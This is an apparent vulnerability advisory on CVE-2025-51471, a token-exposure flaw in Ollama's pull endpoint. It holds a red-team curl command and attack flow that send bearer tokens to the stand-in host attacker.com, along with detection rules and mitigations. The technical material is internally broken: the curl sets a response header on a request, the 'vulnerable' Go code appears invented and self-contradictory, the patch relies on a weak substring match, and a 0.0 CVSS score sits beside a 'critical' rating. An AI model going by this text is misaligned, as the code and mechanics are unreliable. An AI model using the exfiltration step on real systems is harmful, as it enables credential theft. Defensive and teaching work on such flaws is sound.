CVE-2025-51471

Executive Summary

CVE-2025-51471 is a critical vulnerability in Ollama 0.6.7 that allows remote attackers to steal authentication tokens and bypass access controls. The flaw resides in the server.auth.getAuthorizationToken function, where a malicious realm value in a WWW-Authenticate header returned by the /api/pull endpoint can be used to exfiltrate tokens across domains. This is a cross-domain token exposure issue, enabling an attacker to capture bearer tokens or other authorization credentials from legitimate users. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but the impact is severe: full token theft leading to unauthorized access to Ollama APIs and potentially the underlying system.

Supply Chain & Package Security

Ollama is distributed as a standalone binary and via package managers for Linux, macOS, and Windows. The vulnerability affects the core authentication logic in the server component. Since Ollama is often deployed in development and production environments for AI/ML workloads, a compromised token could lead to data exfiltration, model manipulation, or lateral movement. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder – likely unassigned)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must make a request to /api/pull)
• Scope: Changed (cross-domain)
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None

Threat Level: Critical – token theft enables full account takeover and API abuse.

Deep Dive & Mechanics

The vulnerability exploits the HTTP Digest or Basic authentication flow in Ollama. When a client requests /api/pull, the server responds with a WWW-Authenticate header containing a realm parameter. The server.auth.getAuthorizationToken function parses this realm and uses it to construct the authorization token. By crafting a malicious realm value (e.g., a URL pointing to an attacker-controlled server), the attacker can cause the client to send the token to an external domain.

Attack Flow:

1. Attacker sends a crafted request to /api/pull on the Ollama server.
2. Server responds with WWW-Authenticate: Bearer realm="https://attacker.com/steal".
3. Client (e.g., a browser or script) parses the realm and sends the authorization token to https://attacker.com/steal.
4. Attacker captures the token and uses it to authenticate to the Ollama server.

The vulnerability is in the lack of validation of the realm value – it should be restricted to the server’s own domain.

Vulnerable vs. Patched Code

Vulnerable Code (Ollama 0.6.7):

func getAuthorizationToken(r *http.Request) string {
    authHeader := r.Header.Get("Authorization")
    if authHeader == "" {
        // Parse WWW-Authenticate from response
        wwwAuth := r.Header.Get("WWW-Authenticate")
        realm := extractRealm(wwwAuth)
        // Directly uses realm without validation
        token := constructToken(realm)
        return token
    }
    return authHeader
}

Patched Code (hypothetical):

func getAuthorizationToken(r *http.Request) string {
    authHeader := r.Header.Get("Authorization")
    if authHeader == "" {
        wwwAuth := r.Header.Get("WWW-Authenticate")
        realm := extractRealm(wwwAuth)
        // Validate realm against allowed domains
        if !isValidRealm(realm) {
            return ""
        }
        token := constructToken(realm)
        return token
    }
    return authHeader
}

func isValidRealm(realm string) bool {
    // Only allow localhost or the server's own domain
    allowedDomains := []string{"localhost", "127.0.0.1", "::1"}
    for _, domain := range allowedDomains {
        if strings.Contains(realm, domain) {
            return true
        }
    }
    return false
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Ollama 0.6.7 running on a target (e.g., http://target:11434)
• Attacker-controlled server to capture tokens (e.g., https://attacker.com)

Exploit Steps:

1. Send a crafted request to /api/pull with a malicious realm:

curl -X POST "http://target:11434/api/pull" \
  -H "Content-Type: application/json" \
  -d '{"name": "llama3.2"}' \
  -H "WWW-Authenticate: Bearer realm=\"https://attacker.com/steal\""

2. The server responds with a 401 Unauthorized and includes the malicious WWW-Authenticate header.
3. The client (if it follows the redirect) sends the token to https://attacker.com/steal.
4. Capture the token from the attacker server logs.

Alternative Exploit (using a browser):

• Host a malicious HTML page that makes a fetch request to /api/pull and reads the WWW-Authenticate header.

Blue Team

Detection:

• Monitor for unusual WWW-Authenticate headers in server responses.
• Alert on any realm values that contain external domains or IPs.
• Use network monitoring to detect outbound connections to unknown domains from Ollama clients.

Honeypot:

• Deploy a fake Ollama endpoint that logs all Authorization headers and realm values.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to domains not associated with the Ollama server.
  • WWW-Authenticate headers containing realm values with external URLs.
• Logs:
  • Server logs showing 401 Unauthorized responses with unusual realm parameters.
  • Client logs showing token sent to unexpected domains.
• Files:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_51471_Ollama_Token_Theft {
    meta:
        description = "Detects malicious WWW-Authenticate realm values in Ollama traffic"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-51471"
    strings:
        $realm = /realm="https?:\/\/[^"]+/
        $ollama = "Ollama" nocase
    condition:
        $realm and $ollama
}

Sigma Rule

title: CVE-2025-51471 - Cross-Domain Token Exposure in Ollama
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects malicious WWW-Authenticate realm values in Ollama /api/pull responses
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: ollama
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/pull'
        sc-status: 401
        sc-response-header|contains: 'WWW-Authenticate'
    filter:
        sc-response-header|contains: 'realm="http://localhost'
    condition: selection and not filter
falsepositives:
    - Legitimate realm values pointing to localhost
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51471 Ollama Token Theft Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/pull"; http_uri; content:"WWW-Authenticate"; http_response_header; content:"realm"; http_response_header; pcre:"/realm=\"https?:\/\/[^l]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable authentication on Ollama if not required, or restrict access via firewall.
2. Upgrade to a patched version once available (monitor Ollama GitHub releases).
3. Implement a reverse proxy (e.g., Nginx) to validate and sanitize WWW-Authenticate headers before they reach the client.

Long-term Fix:

• Patch the getAuthorizationToken function to validate the realm parameter against a whitelist of allowed domains (e.g., localhost, 127.0.0.1, server’s own FQDN).

Workaround:

• Use API keys instead of bearer tokens for authentication.
• Set OLLAMA_ORIGINS environment variable to restrict allowed origins.

Valters IT Signature:

• This report is provided for educational and defensive purposes. Unauthorized exploitation is illegal.

Valters IT